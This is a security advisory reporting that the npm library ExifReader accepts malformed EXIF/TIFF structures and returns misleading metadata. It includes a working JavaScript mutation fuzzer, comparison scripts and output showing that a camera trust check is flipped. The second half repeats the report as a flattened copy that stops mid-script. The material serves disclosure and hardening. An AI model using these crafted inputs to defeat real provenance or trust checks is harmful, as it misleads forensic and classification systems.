Package: exifreader
Ecosystem: npm
Issue Class: malformed EXIF/TIFF structures accepted with misleading metadata output
Severity: Moderate
Suggested Weaknesses: CWE-20, CWE-755
Primary Security Property Affected: Integrity
Executive Summary
This report documents a broader class of metadata integrity failures in ExifReader.
During controlled testing, malformed but structurally plausible JPEG/EXIF inputs were accepted by the parser
and produced semantically inconsistent metadata instead of being rejected.
The issue was reproduced across three distinct mutation families:
- Offset confusion through manipulated TIFF first-IFD offsets
- Count / type abuse through malformed EXIF pointer count and type reinterpretation
- Multi-segment ambiguity through conflicting APP1/EXIF segments
Across these cases, legitimate EXIF fields disappeared, EXIF-linked values became
<faulty value>, and spurious tags such as GrayResponseUnit
appeared in successful parse output. In a realistic downstream trust pipeline, one malformed file
changed the outcome from Camera trusted to Unknown camera.
The security significance is not code execution. The significance is that malformed EXIF/TIFF data can be
accepted as valid metadata, causing downstream systems to make incorrect trust, classification, or forensic decisions.
Threat Model
This issue is relevant in applications that process attacker-controlled or user-supplied images and rely on
metadata returned by ExifReader for any of the following:
- camera or source validation,
- media classification,
- security or trust decisions,
- audit or forensic workflows,
- metadata-driven automation and enrichment.
The attacker does not need to exploit memory corruption. They only need to supply a crafted image with a
malformed but parser-acceptable EXIF/TIFF layout.
Technical Summary
The common failure mode across the three cases is that malformed EXIF/TIFF state is not rejected cleanly.
Instead, the parser continues and returns metadata that is incomplete, misleading, or explicitly marked as
<faulty value>.
The observed behaviors include:
- suppression of legitimate camera-identifying EXIF fields,
- reinterpretation of EXIF-linked fields into invalid values,
- emergence of spurious TIFF-derived fields,
- successful parse completion despite semantically invalid structure,
- downstream trust logic receiving misleading metadata.
Test Environment
Platform: Kali Linux
Runtime: Node.js v22.22.0
Library under test: ExifReader
Sample used for controlled comparisons: NPBT_SC_background.jpg
Proof-of-Concept Code
1. Advanced Mutation Generator
The following script was used to generate malformed EXIF/TIFF variants covering offset confusion,
count abuse, type reinterpretation, cross-IFD confusion, and APP1 multi-segment ambiguity.
const fs = require('fs');
const path = require('path');
const inDir = process.argv[2] || './samples';
const outDir = process.argv[3] || './corpus/advanced-hunt';
fs.mkdirSync(outDir, { recursive: true });
function walk(d) {
const out = [];
for (const name of fs.readdirSync(d)) {
const p = path.join(d, name);
const st = fs.statSync(p);
if (st.isDirectory()) out.push(...walk(p));
else out.push(p);
}
return out;
}
function clone(buf) {
return Buffer.from(buf);
}
function save(base, suffix, buf) {
fs.writeFileSync(path.join(outDir, `${base}.${suffix}.bin`), buf);
}
function findAll(buf, pattern) {
const hits = [];
for (let i = 0; i <= buf.length - pattern.length; i++) {
let ok = true;
for (let j = 0; j < pattern.length; j++) {
if (buf[i + j] !== pattern[j]) {
ok = false;
break;
}
}
if (ok) hits.push(i);
}
return hits;
}
function readUInt16(buf, off, little) {
if (off + 2 > buf.length) return null;
return little ? buf.readUInt16LE(off) : buf.readUInt16BE(off);
}
function readUInt32(buf, off, little) {
if (off + 4 > buf.length) return null;
return little ? buf.readUInt32LE(off) : buf.readUInt32BE(off);
}
function writeUInt16(buf, off, value, little) {
if (off + 2 > buf.length) return false;
if (little) buf.writeUInt16LE(value & 0xffff, off);
else buf.writeUInt16BE(value & 0xffff, off);
return true;
}
function writeUInt32(buf, off, value, little) {
if (off + 4 > buf.length) return false;
if (little) buf.writeUInt32LE(value >>> 0, off);
else buf.writeUInt32BE(value >>> 0, off);
return true;
}
function findExifHeaders(buf) {
const exifHits = findAll(buf, Buffer.from('Exif\\0\\0', 'binary'));
const headers = [];
for (const exifOff of exifHits) {
const tiffOff = exifOff + 6;
if (tiffOff + 8 > buf.length) continue;
const b0 = buf[tiffOff];
const b1 = buf[tiffOff + 1];
const isLE = b0 === 0x49 && b1 === 0x49;
const isBE = b0 === 0x4d && b1 === 0x4d;
if (!isLE && !isBE) continue;
const little = isLE;
const magic = readUInt16(buf, tiffOff + 2, little);
if (magic !== 42) continue;
const firstIfdRel = readUInt32(buf, tiffOff + 4, little);
if (firstIfdRel == null) continue;
const firstIfdAbs = tiffOff + firstIfdRel;
headers.push({
exifOff,
tiffOff,
little,
firstIfdRel,
firstIfdAbs
});
}
return headers;
}
function getIfdInfo(buf, hdr, ifdAbs) {
if (ifdAbs + 2 > buf.length) return null;
const count = readUInt16(buf, ifdAbs, hdr.little);
if (count == null) return null;
const entries = [];
for (let i = 0; i < count; i++) {
const off = ifdAbs + 2 + (i * 12);
if (off + 12 > buf.length) break;
entries.push({
off,
tagId: readUInt16(buf, off, hdr.little),
type: readUInt16(buf, off + 2, hdr.little),
count: readUInt32(buf, off + 4, hdr.little),
valueOrOffset: readUInt32(buf, off + 8, hdr.little)
});
}
const nextIfdOff = ifdAbs + 2 + (count * 12);
const nextIfdRel = nextIfdOff + 4 <= buf.length ? readUInt32(buf, nextIfdOff, hdr.little) : null;
return { count, entries, nextIfdOff, nextIfdRel };
}
function mutateTypeConfusion(buf, hdr, base) {
const ifd = getIfdInfo(buf, hdr, hdr.firstIfdAbs);
if (!ifd) return;
const candidateTags = new Set([271, 272, 274, 282, 283, 296, 34665, 34853]);
for (const e of ifd.entries) {
if (!candidateTags.has(e.tagId)) continue;
const weirdTypes = [0, 1, 2, 5, 7, 9, 10, 13, 65535];
for (const wt of weirdTypes) {
if (wt === e.type) continue;
const out = clone(buf);
if (!writeUInt16(out, e.off + 2, wt, hdr.little)) continue;
save(base, `typeconf_tag${e.tagId}_type${wt}`, out);
}
}
}
function mutateCountAbuse(buf, hdr, base) {
const ifd = getIfdInfo(buf, hdr, hdr.firstIfdAbs);
if (!ifd) return;
const targetTags = new Set([271, 272, 282, 283, 34665, 34855, 36867, 37386, 42036]);
for (const e of ifd.entries) {
if (!targetTags.has(e.tagId)) continue;
const badCounts = [0, 1, 2, 4, 8, 16, 255, 4096, 0x7fffffff];
for (const bc of badCounts) {
if (bc === e.count) continue;
const out = clone(buf);
if (!writeUInt32(out, e.off + 4, bc, hdr.little)) continue;
save(base, `countabuse_tag${e.tagId}_count${bc}`, out);
}
}
const badEntryCounts = [0, 1, 2, 255, 1024, 65535];
for (const bec of badEntryCounts) {
const out = clone(buf);
if (!writeUInt16(out, hdr.firstIfdAbs, bec, hdr.little)) continue;
save(base, `ifd_entrycount_${bec}`, out);
}
}
function mutateCrossIfdConfusion(buf, hdr, base) {
const ifd0 = getIfdInfo(buf, hdr, hdr.firstIfdAbs);
if (!ifd0) return;
const interestingAbs = [];
interestingAbs.push(hdr.tiffOff);
interestingAbs.push(hdr.tiffOff + 2);
interestingAbs.push(hdr.tiffOff + 4);
interestingAbs.push(hdr.firstIfdAbs);
interestingAbs.push(hdr.firstIfdAbs + 2);
if (ifd0.entries[0]) interestingAbs.push(ifd0.entries[0].off);
if (ifd0.entries[1]) interestingAbs.push(ifd0.entries[1].off);
if (ifd0.nextIfdOff) interestingAbs.push(ifd0.nextIfdOff);
for (const e of ifd0.entries) {
if (e.tagId !== 34665 && e.tagId !== 34853) continue;
for (const abs of interestingAbs) {
const rel = abs - hdr.tiffOff;
if (rel < 0) continue;
const out = clone(buf);
if (!writeUInt32(out, e.off + 8, rel, hdr.little)) continue;
save(base, `crossifd_tag${e.tagId}_to_${rel}`, out);
}
}
if (ifd0.nextIfdOff + 4 <= buf.length) {
for (const abs of interestingAbs) {
const rel = abs - hdr.tiffOff;
if (rel < 0) continue;
const out = clone(buf);
if (!writeUInt32(out, ifd0.nextIfdOff, rel, hdr.little)) continue;
save(base, `crossifd_nextifd_to_${rel}`, out);
}
}
}
function mutateMultiSegmentAmbiguity(buf, hdr, base) {
const exifAbs = hdr.exifOff;
const copyLen = Math.min(128, buf.length - exifAbs);
if (copyLen < 16) return;
const exifChunk = buf.subarray(exifAbs, exifAbs + copyLen);
const app1PayloadLen = exifChunk.length;
const app1TotalLenField = app1PayloadLen + 2;
if (app1TotalLenField > 0xffff) return;
const app1 = Buffer.alloc(4 + app1PayloadLen);
app1[0] = 0xff;
app1[1] = 0xe1;
app1.writeUInt16BE(app1TotalLenField, 2);
exifChunk.copy(app1, 4);
{
const insertPos = Math.min(buf.length, exifAbs + copyLen);
const out = Buffer.concat([buf.subarray(0, insertPos), app1, buf.subarray(insertPos)]);
save(base, 'multiseg_dup_app1_after_exif', out);
}
{
const insertPos = Math.min(buf.length, 20);
const out = Buffer.concat([buf.subarray(0, insertPos), app1, buf.subarray(insertPos)]);
save(base, 'multiseg_dup_app1_near_start', out);
}
{
const fakeChunk = Buffer.from(exifChunk);
const fakeHdr = findExifHeaders(fakeChunk);
if (fakeHdr.length > 0) {
const fh = fakeHdr[0];
writeUInt32(fakeChunk, fh.tiffOff + 4, 1, fh.little);
const app1bPayloadLen = fakeChunk.length;
const app1bTotalLenField = app1bPayloadLen + 2;
if (app1bTotalLenField <= 0xffff) {
const app1b = Buffer.alloc(4 + app1bPayloadLen);
app1b[0] = 0xff;
app1b[1] = 0xe1;
app1b.writeUInt16BE(app1bTotalLenField, 2);
fakeChunk.copy(app1b, 4);
const insertPos = Math.min(buf.length, 20);
const out = Buffer.concat([buf.subarray(0, insertPos), app1b, buf.subarray(insertPos)]);
save(base, 'multiseg_conflicting_app1_firstifd1', out);
}
}
}
}
const files = walk(inDir);
for (const file of files) {
const buf = fs.readFileSync(file);
const base = path.basename(file).replace(/[^\\w.-]/g, '_');
const headers = findExifHeaders(buf);
if (headers.length === 0) continue;
for (const hdr of headers) {
mutateTypeConfusion(buf, hdr, base);
mutateCountAbuse(buf, hdr, base);
mutateCrossIfdConfusion(buf, hdr, base);
mutateMultiSegmentAmbiguity(buf, hdr, base);
}
}
console.log(`Generated advanced hunt corpus in: ${outDir}`);
2. Metadata Comparison Script
This script was used to compare original metadata against malformed variants.
const fs = require('fs');
const ExifReader = require('exifreader');
const a = process.argv[2];
const b = process.argv[3];
function load(file) {
const buf = fs.readFileSync(file);
const tags = ExifReader.load(buf);
const out = {};
for (const [k, v] of Object.entries(tags || {})) {
out[k] = {
id: v && v.id,
value: v && v.value,
description: v && v.description
};
}
return out;
}
const ta = load(a);
const tb = load(b);
console.log('=== only in A ===');
for (const k of Object.keys(ta)) {
if (!(k in tb)) console.log(k, ta[k]);
}
console.log('=== only in B ===');
for (const k of Object.keys(tb)) {
if (!(k in ta)) console.log(k, tb[k]);
}
console.log('=== changed ===');
for (const k of Object.keys(ta)) {
if (k in tb) {
const va = JSON.stringify(ta[k]);
const vb = JSON.stringify(tb[k]);
if (va !== vb) {
console.log(k);
console.log('A:', va);
console.log('B:', vb);
}
}
}
3. Determinism Test Script
This script was used to prove stable misparse behavior across repeated runs.
const fs = require('fs');
const ExifReader = require('exifreader');
const file = process.argv[2];
const runs = 50;
function extractSignature(tags) {
return Object.keys(tags || {}).sort().join(',');
}
let results = new Map();
for (let i = 0; i < runs; i++) {
try {
const buf = fs.readFileSync(file);
const tags = ExifReader.load(buf);
const sig = extractSignature(tags);
results.set(sig, (results.get(sig) || 0) + 1);
} catch (e) {
results.set('ERROR', (results.get('ERROR') || 0) + 1);
}
}
console.log(results);
4. Downstream Trust Pipeline PoC
This simple pipeline demonstrates the security consequence of misleading metadata.
const fs = require('fs');
const ExifReader = require('exifreader');
const buf = fs.readFileSync(process.argv[2]);
const tags = ExifReader.load(buf);
if (tags.Make && tags.Make.description.includes('Canon')) {
console.log('Camera trusted');
} else {
console.log('Unknown camera');
}
Representative Case 1 - Offset Confusion
In this case, the first TIFF IFD offset was manipulated so that the parser followed an invalid but accepted
structure. The parse completed successfully, but legitimate EXIF fields disappeared and a spurious tag emerged.
Representative File
./corpus/offset-chains/NPBT_SC_background.jpg.first_ifd_one.bin
Determinism Output
node stress-test.js ./corpus/offset-chains/NPBT_SC_background.jpg.first_ifd_one.bin
Map(1) {
'Bits Per Sample,Color Components,FileType,GrayResponseUnit,Image Height,Image Width,JFIF Thumbnail Height,JFIF Thumbnail Width,JFIF Version,Resolution Unit,Subsampling,XResolution,YResolution' => 50
}
Observed Metadata Delta
=== only in A ===
Make { id: 271, value: [ 'Canon' ], description: 'Canon' }
Model { id: 272, value: [ 'Canon EOS 7D' ], description: 'Canon EOS 7D' }
ExposureTime { id: 33434, value: [ 180, 1 ], description: '180' }
Exif IFD Pointer { id: 34665, value: 89, description: 89 }
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
id: 36867,
value: [ '2015:07:17 05:02:55' ],
description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }
=== only in B ===
GrayResponseUnit { id: 290, value: [ '<faulty value>' ], description: 'Unknown' }
Impact Statement
A malformed offset was sufficient to suppress legitimate camera-identifying metadata and replace it with
spurious TIFF-derived output, while the parser still returned success.
Representative Case 2 - Count / Type Abuse
In this case, EXIF-linked fields were destabilized through count and type manipulation affecting the
EXIF IFD Pointer. The parser still completed successfully, but EXIF-linked output became invalid.
Representative Files
./corpus/advanced-hunt/NPBT_SC_background.jpg.typeconf_tag34665_type7.bin
./corpus/advanced-hunt/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin
Observed Metadata Delta - Type Reinterpretation
=== only in A ===
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
id: 36867,
value: [ '2015:07:17 05:02:55' ],
description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }
=== only in B ===
=== changed ===
Exif IFD Pointer
A: {"id":34665,"value":89,"description":89}
B: {"id":34665,"value":0,"description":0}
Observed Metadata Delta - Count Abuse
=== only in A ===
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
id: 36867,
value: [ '2015:07:17 05:02:55' ],
description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }
=== only in B ===
=== changed ===
Exif IFD Pointer
A: {"id":34665,"value":89,"description":89}
B: {"id":34665,"value":"<faulty value>","description":"<faulty value>"}
Additional Observation
cat findings/advanced-hunt.jsonl | jq -c 'select(.ok == true and .heapDelta > 300000)'
{"file":"corpus/advanced-hunt/NPBT_SC_background.jpg.countabuse_tag34665_count4096.bin","size":187101,"sha256":"3b9acd7ecca0e07908873913a9a8fc47920ba7d35842242978983d6c95d78d0b","ok":true,"ms":1.084,"heapDelta":601008,"tagCount":16}
{"file":"corpus/advanced-hunt/NPBT_SC_background.jpg.typeconf_tag34665_type7.bin","size":187101,"sha256":"91b1277a6d5f280c1dd1045370ab3040d30992504cf4ce65bb630aebd065651b","ok":true,"ms":2.961,"heapDelta":1890032,"tagCount":16}
These cases reinforce that malformed count/type semantics can influence internal parser behavior without
producing a controlled rejection.
Representative Case 3 - Multi-Segment Ambiguity
In this case, conflicting APP1/EXIF segments were introduced. The parser emitted its own warning that
multiple EXIF segments were found and that it would pick the "best candidate segment". The selected result
was still misleading.
Representative File
./corpus/advanced-hunt/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin
Observed Parser Warning
ExifReader: Found 2 Exif segments (APP1). Will pick the best candidate segment.
Observed Metadata Delta
=== only in A ===
Make { id: 271, value: [ 'Canon' ], description: 'Canon' }
Model { id: 272, value: [ 'Canon EOS 7D' ], description: 'Canon EOS 7D' }
ExposureTime { id: 33434, value: [ 180, 1 ], description: '180' }
Exif IFD Pointer { id: 34665, value: 89, description: 89 }
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
id: 36867,
value: [ '2015:07:17 05:02:55' ],
description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }
=== only in B ===
GrayResponseUnit { id: 290, value: [ '<faulty value>' ], description: 'Unknown' }
Downstream Trust Decision Impact
node pipeline.js ./samples/NPBT_SC_background.jpg
Camera trusted
node pipeline.js ./corpus/advanced-hunt/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin
ExifReader: Found 2 Exif segments (APP1). Will pick the best candidate segment.
Unknown camera
This is a concrete integrity impact. The same image-processing logic made a different trust decision
solely because malformed EXIF/TIFF ambiguity was accepted and returned as successful metadata output.
Cross-Case Evidence of a Broader Vulnerability Class
The following grep results show that the malformed output pattern was not isolated to a single mutation.
grep -R "GrayResponseUnit\|faulty value" findings/
findings/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin.json: "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin.json: "<faulty value>"
findings/first_ifd_one-tags.json: "GrayResponseUnit": {
findings/first_ifd_one-tags.json: "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag272_count2147483647.bin.json: "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag272_count2147483647.bin.json: "description": "<faulty value>"
findings/NPBT_SC_background.jpg.multiseg_dup_app1_after_exif.bin.json: "value": "<faulty value>",
findings/NPBT_SC_background.jpg.multiseg_dup_app1_after_exif.bin.json: "description": "<faulty value>"
findings/NPBT_SC_background.jpg.tag_34665_one.bin.json: "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.tag_34665_one.bin.json: "<faulty value>"
findings/NPBT_SC_background.jpg.first_ifd_one.bin.json: "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.first_ifd_one.bin.json: "<faulty value>"
findings/NPBT_SC_background.jpg.next_ifd_one.bin.json: "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.next_ifd_one.bin.json: "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin.json: "value": "<faulty value>",
findings/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin.json: "description": "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag271_count2147483647.bin.json: "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag271_count2147483647.bin.json: "description": "<faulty value>"
This confirms a broader parser confusion class involving malformed offsets, counts, tag types, and APP1 ambiguity.
Impact Assessment
| Property |
Assessment |
| Confidentiality |
None observed |
| Integrity |
High relevance. Misleading metadata can influence trust, classification, or forensic decisions. |
| Availability |
Not required for this specific issue class |
The most important demonstrated impact is not raw parser instability, but successful production of
semantically misleading metadata under malformed EXIF/TIFF conditions.
In security-sensitive systems, this can affect:
- camera-based allow / deny rules,
- source attribution,
- evidence and provenance workflows,
- metadata-driven enrichment and routing,
- automated trust or risk scoring based on EXIF fields.
Expected Behavior
Malformed EXIF/TIFF structures should be rejected with a controlled parser error.
The parser should not report success while returning semantically inconsistent metadata
derived from invalid offset traversal, invalid count interpretation, invalid type reinterpretation,
or conflicting APP1-segment selection.
Root Cause Hypothesis
The issue appears to stem from insufficient semantic validation of EXIF/TIFF structures before and during
IFD traversal. Specifically:
- offsets may be followed without ensuring they describe a semantically valid IFD region,
- count and type fields may be accepted in combinations that should be rejected,
- APP1-segment ambiguity resolution may prioritize parser continuation over strict validity enforcement,
- malformed structures are normalized into output, not rejection.
Recommendations
Library-Side Recommendations
- Validate that all EXIF/TIFF offsets point to structurally and semantically valid IFD regions before parsing.
- Reject malformed count/type combinations for EXIF-linked tags, especially IFD pointers and pointer-derived structures.
- Fail closed on malformed pointer semantics rather than generating
<faulty value> output in successful results.
- Harden APP1 multi-segment selection logic so that ambiguous or conflicting EXIF segments do not result in misleading metadata.
- Add regression tests covering:
- first IFD offset tampering,
- Exif IFD Pointer type reinterpretation,
- Exif IFD Pointer count abuse,
- conflicting APP1 segments with competing EXIF payloads,
- spurious tag emergence such as
GrayResponseUnit,
- loss of legitimate EXIF camera-identifying fields.
Application-Side Recommendations
- Do not make trust decisions based solely on EXIF metadata returned from a single parser.
- Treat
<faulty value>, missing EXIF anchors, or spurious tag emergence as indicators of malformed input.
- Use metadata consistency checks when EXIF is used in security-sensitive workflows.
- Log and quarantine malformed EXIF/TIFF cases instead of silently trusting parse output.
- Cross-validate critical metadata through multiple signals if provenance or trust decisions matter.
Suggested Advisory Metadata
| Field |
Value |
| Package |
exifreader |
| Ecosystem |
npm |
| Weaknesses |
CWE-20, CWE-755 |
| Severity |
Moderate |
| Suggested Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N |
Maintainer-Facing Short Summary
Malformed but structurally plausible EXIF/TIFF inputs can cause ExifReader to
successfully parse and return semantically misleading metadata instead of rejecting
invalid structures. This was reproduced across multiple mutation families,
including first-IFD offset tampering, Exif IFD Pointer count/type manipulation,
and conflicting APP1 segments. In testing, legitimate EXIF camera-identifying fields
disappeared, EXIF-linked values became "<faulty value>", spurious tags such as
GrayResponseUnit appeared, and downstream trust logic changed from "Camera trusted"
to "Unknown camera".
Ecosystem: npm
Issue Class: malformed EXIF/TIFF structures accepted with misleading metadata output
Severity: Moderate
Suggested Weaknesses: CWE-20, CWE-755
Primary Security Property Affected: Integrity
Executive Summary
This report documents a broader class of metadata integrity failures in
ExifReader. During controlled testing, malformed but structurally plausible JPEG/EXIF inputs were accepted by the parser and produced semantically inconsistent metadata instead of being rejected.The issue was reproduced across three distinct mutation families:
Across these cases, legitimate EXIF fields disappeared, EXIF-linked values became
<faulty value>, and spurious tags such asGrayResponseUnitappeared in successful parse output. In a realistic downstream trust pipeline, one malformed file changed the outcome fromCamera trustedtoUnknown camera.The security significance is not code execution. The significance is that malformed EXIF/TIFF data can be accepted as valid metadata, causing downstream systems to make incorrect trust, classification, or forensic decisions.
Threat Model
This issue is relevant in applications that process attacker-controlled or user-supplied images and rely on metadata returned by
ExifReaderfor any of the following:The attacker does not need to exploit memory corruption. They only need to supply a crafted image with a malformed but parser-acceptable EXIF/TIFF layout.
Technical Summary
The common failure mode across the three cases is that malformed EXIF/TIFF state is not rejected cleanly. Instead, the parser continues and returns metadata that is incomplete, misleading, or explicitly marked as
<faulty value>.The observed behaviors include:
Test Environment
Runtime: Node.js v22.22.0
Library under test: ExifReader
Sample used for controlled comparisons: NPBT_SC_background.jpg
Proof-of-Concept Code
1. Advanced Mutation Generator
The following script was used to generate malformed EXIF/TIFF variants covering offset confusion, count abuse, type reinterpretation, cross-IFD confusion, and APP1 multi-segment ambiguity.
const fs = require('fs'); const path = require('path'); const inDir = process.argv[2] || './samples'; const outDir = process.argv[3] || './corpus/advanced-hunt'; fs.mkdirSync(outDir, { recursive: true }); function walk(d) { const out = []; for (const name of fs.readdirSync(d)) { const p = path.join(d, name); const st = fs.statSync(p); if (st.isDirectory()) out.push(...walk(p)); else out.push(p); } return out; } function clone(buf) { return Buffer.from(buf); } function save(base, suffix, buf) { fs.writeFileSync(path.join(outDir, `${base}.${suffix}.bin`), buf); } function findAll(buf, pattern) { const hits = []; for (let i = 0; i <= buf.length - pattern.length; i++) { let ok = true; for (let j = 0; j < pattern.length; j++) { if (buf[i + j] !== pattern[j]) { ok = false; break; } } if (ok) hits.push(i); } return hits; } function readUInt16(buf, off, little) { if (off + 2 > buf.length) return null; return little ? buf.readUInt16LE(off) : buf.readUInt16BE(off); } function readUInt32(buf, off, little) { if (off + 4 > buf.length) return null; return little ? buf.readUInt32LE(off) : buf.readUInt32BE(off); } function writeUInt16(buf, off, value, little) { if (off + 2 > buf.length) return false; if (little) buf.writeUInt16LE(value & 0xffff, off); else buf.writeUInt16BE(value & 0xffff, off); return true; } function writeUInt32(buf, off, value, little) { if (off + 4 > buf.length) return false; if (little) buf.writeUInt32LE(value >>> 0, off); else buf.writeUInt32BE(value >>> 0, off); return true; } function findExifHeaders(buf) { const exifHits = findAll(buf, Buffer.from('Exif\\0\\0', 'binary')); const headers = []; for (const exifOff of exifHits) { const tiffOff = exifOff + 6; if (tiffOff + 8 > buf.length) continue; const b0 = buf[tiffOff]; const b1 = buf[tiffOff + 1]; const isLE = b0 === 0x49 && b1 === 0x49; const isBE = b0 === 0x4d && b1 === 0x4d; if (!isLE && !isBE) continue; const little = isLE; const magic = readUInt16(buf, tiffOff + 2, little); if (magic !== 42) continue; const firstIfdRel = readUInt32(buf, tiffOff + 4, little); if (firstIfdRel == null) continue; const firstIfdAbs = tiffOff + firstIfdRel; headers.push({ exifOff, tiffOff, little, firstIfdRel, firstIfdAbs }); } return headers; } function getIfdInfo(buf, hdr, ifdAbs) { if (ifdAbs + 2 > buf.length) return null; const count = readUInt16(buf, ifdAbs, hdr.little); if (count == null) return null; const entries = []; for (let i = 0; i < count; i++) { const off = ifdAbs + 2 + (i * 12); if (off + 12 > buf.length) break; entries.push({ off, tagId: readUInt16(buf, off, hdr.little), type: readUInt16(buf, off + 2, hdr.little), count: readUInt32(buf, off + 4, hdr.little), valueOrOffset: readUInt32(buf, off + 8, hdr.little) }); } const nextIfdOff = ifdAbs + 2 + (count * 12); const nextIfdRel = nextIfdOff + 4 <= buf.length ? readUInt32(buf, nextIfdOff, hdr.little) : null; return { count, entries, nextIfdOff, nextIfdRel }; } function mutateTypeConfusion(buf, hdr, base) { const ifd = getIfdInfo(buf, hdr, hdr.firstIfdAbs); if (!ifd) return; const candidateTags = new Set([271, 272, 274, 282, 283, 296, 34665, 34853]); for (const e of ifd.entries) { if (!candidateTags.has(e.tagId)) continue; const weirdTypes = [0, 1, 2, 5, 7, 9, 10, 13, 65535]; for (const wt of weirdTypes) { if (wt === e.type) continue; const out = clone(buf); if (!writeUInt16(out, e.off + 2, wt, hdr.little)) continue; save(base, `typeconf_tag${e.tagId}_type${wt}`, out); } } } function mutateCountAbuse(buf, hdr, base) { const ifd = getIfdInfo(buf, hdr, hdr.firstIfdAbs); if (!ifd) return; const targetTags = new Set([271, 272, 282, 283, 34665, 34855, 36867, 37386, 42036]); for (const e of ifd.entries) { if (!targetTags.has(e.tagId)) continue; const badCounts = [0, 1, 2, 4, 8, 16, 255, 4096, 0x7fffffff]; for (const bc of badCounts) { if (bc === e.count) continue; const out = clone(buf); if (!writeUInt32(out, e.off + 4, bc, hdr.little)) continue; save(base, `countabuse_tag${e.tagId}_count${bc}`, out); } } const badEntryCounts = [0, 1, 2, 255, 1024, 65535]; for (const bec of badEntryCounts) { const out = clone(buf); if (!writeUInt16(out, hdr.firstIfdAbs, bec, hdr.little)) continue; save(base, `ifd_entrycount_${bec}`, out); } } function mutateCrossIfdConfusion(buf, hdr, base) { const ifd0 = getIfdInfo(buf, hdr, hdr.firstIfdAbs); if (!ifd0) return; const interestingAbs = []; interestingAbs.push(hdr.tiffOff); interestingAbs.push(hdr.tiffOff + 2); interestingAbs.push(hdr.tiffOff + 4); interestingAbs.push(hdr.firstIfdAbs); interestingAbs.push(hdr.firstIfdAbs + 2); if (ifd0.entries[0]) interestingAbs.push(ifd0.entries[0].off); if (ifd0.entries[1]) interestingAbs.push(ifd0.entries[1].off); if (ifd0.nextIfdOff) interestingAbs.push(ifd0.nextIfdOff); for (const e of ifd0.entries) { if (e.tagId !== 34665 && e.tagId !== 34853) continue; for (const abs of interestingAbs) { const rel = abs - hdr.tiffOff; if (rel < 0) continue; const out = clone(buf); if (!writeUInt32(out, e.off + 8, rel, hdr.little)) continue; save(base, `crossifd_tag${e.tagId}_to_${rel}`, out); } } if (ifd0.nextIfdOff + 4 <= buf.length) { for (const abs of interestingAbs) { const rel = abs - hdr.tiffOff; if (rel < 0) continue; const out = clone(buf); if (!writeUInt32(out, ifd0.nextIfdOff, rel, hdr.little)) continue; save(base, `crossifd_nextifd_to_${rel}`, out); } } } function mutateMultiSegmentAmbiguity(buf, hdr, base) { const exifAbs = hdr.exifOff; const copyLen = Math.min(128, buf.length - exifAbs); if (copyLen < 16) return; const exifChunk = buf.subarray(exifAbs, exifAbs + copyLen); const app1PayloadLen = exifChunk.length; const app1TotalLenField = app1PayloadLen + 2; if (app1TotalLenField > 0xffff) return; const app1 = Buffer.alloc(4 + app1PayloadLen); app1[0] = 0xff; app1[1] = 0xe1; app1.writeUInt16BE(app1TotalLenField, 2); exifChunk.copy(app1, 4); { const insertPos = Math.min(buf.length, exifAbs + copyLen); const out = Buffer.concat([buf.subarray(0, insertPos), app1, buf.subarray(insertPos)]); save(base, 'multiseg_dup_app1_after_exif', out); } { const insertPos = Math.min(buf.length, 20); const out = Buffer.concat([buf.subarray(0, insertPos), app1, buf.subarray(insertPos)]); save(base, 'multiseg_dup_app1_near_start', out); } { const fakeChunk = Buffer.from(exifChunk); const fakeHdr = findExifHeaders(fakeChunk); if (fakeHdr.length > 0) { const fh = fakeHdr[0]; writeUInt32(fakeChunk, fh.tiffOff + 4, 1, fh.little); const app1bPayloadLen = fakeChunk.length; const app1bTotalLenField = app1bPayloadLen + 2; if (app1bTotalLenField <= 0xffff) { const app1b = Buffer.alloc(4 + app1bPayloadLen); app1b[0] = 0xff; app1b[1] = 0xe1; app1b.writeUInt16BE(app1bTotalLenField, 2); fakeChunk.copy(app1b, 4); const insertPos = Math.min(buf.length, 20); const out = Buffer.concat([buf.subarray(0, insertPos), app1b, buf.subarray(insertPos)]); save(base, 'multiseg_conflicting_app1_firstifd1', out); } } } } const files = walk(inDir); for (const file of files) { const buf = fs.readFileSync(file); const base = 